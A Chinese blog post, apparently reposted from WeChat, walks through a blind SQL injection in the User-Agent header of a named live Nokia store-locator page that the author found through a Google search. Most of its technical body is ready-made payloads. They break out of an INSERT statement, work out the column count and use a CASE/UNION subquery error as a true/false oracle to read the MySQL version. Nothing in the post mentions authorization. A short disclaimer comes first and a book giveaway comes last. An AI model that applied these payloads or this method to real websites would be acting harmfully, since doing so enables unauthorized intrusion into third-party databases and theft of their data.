声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
正文
一个sqi的案例,这里记录一下笔记:
使用google找到的一个脆弱目标: http://www4.nokia.de/storelocator/
易受攻击的变量是User-Agent,页面上除了空白或加载外没有任何反应,所以是盲目(blind)的SQL注入。
之后的查询是INSERT INTO
,MySQL是数据库。
输入 INSERT INTO table(a,b,c)VALUES(1,2,'$user_agent')
之后没有发现报错,咋办?
输入: INSERT INTO table(a,b,c)VALUES(1,2,3), (4,5,6);
经过一些暴力破解,发现这个INSERT查询有5个列。
将我的User-Agent设置为',1,1),(1,2,3,4,5)-- -
现在,不能在INSERT查询中使用通常的AND 3=23,因为 INSERT INTO a(b)VALUES(1 and 3=23)
是一个有效的查询,
需要一些方法来触发true/false的错误。怎么办?
有一个思路是:使数据库在一个子查询中返回多条记录;
比如说: SELECT a,(select b from table) from table;
如果有多于1条记录的话,将返回:Subquery returns more than 1 row
使用UNION这个关键字:
select 1 union select 2;
->"Subquery returns more than 1 row";
使用CASE语句:
User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=5) then 1 else 2 end))--
该页面加载;
User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=4) then 1 else 2 end))-----
空白;注意版本的变化
赠书活动
1. 书籍介绍:
《Web安全攻防从入门到精通》
《Web安全攻防从入门到精通》结合红日安全团队的多年经验,深入讲解Web安全的相关知识。
2. 活动规则:
留言点赞数前三+转发本文至朋友圈(不可设置分组)的亲们将获赠本书一本,时间截止到下周三2月8日晚20点
往期回顾
原文始发于微信公众号(迪哥讲事):【文末赠书】一个诺基亚网站的sqli
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论